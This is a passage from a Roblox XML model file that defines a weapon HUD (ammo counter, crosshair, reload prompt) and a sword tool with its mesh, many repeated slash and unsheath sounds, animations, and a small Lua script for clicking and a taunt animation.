Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX5546">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX5547">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5548">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5549">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5550">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5551">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX5552">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5553">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5554">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX5555">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5556">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5557">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5558">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5559">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5560">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>-1.39999998</Z>
					<R00>0.00999951363</R00>
					<R01>5.96046448e-008</R01>
					<R02>-0.999949992</R02>
					<R10>-0.999949992</R10>
					<R11>5.96046448e-008</R11>
					<R12>-0.00999951363</R12>
					<R20>5.96046448e-008</R20>
					<R21>1</R21>
					<R22>5.96046448e-008</R22>
				</CoordinateFrame>
				<string name="Name">Sword</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122088356</url></Content>
				<string name="ToolTip">Sword</string>
			</Properties>
			<Item class="Part" referent="RBX5561">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>19.3300018</X>
						<Y>96.9800034</Y>
						<Z>28.6500015</Z>
						<R00>0</R00>
						<R01>1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.400000006</X>
						<Y>0.200000003</Y>
						<Z>3.99999976</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX5562">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5563">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5564">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5565">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>rbxasset://fonts/sword.mesh</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5566">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5567">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5568">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5569">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5570">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5571">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5572">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5573">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5574">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5575">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5576">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5577">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5578">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5579">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5580">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5581">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5582">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5583">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5584">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5585">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5586">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5587">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5588">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5589">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5590">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5591">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5592">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5593">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX5594">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5595">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74813494</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX5596">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5597">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5598">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74897796</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5599">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX5600">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX5601">
				<Properties>
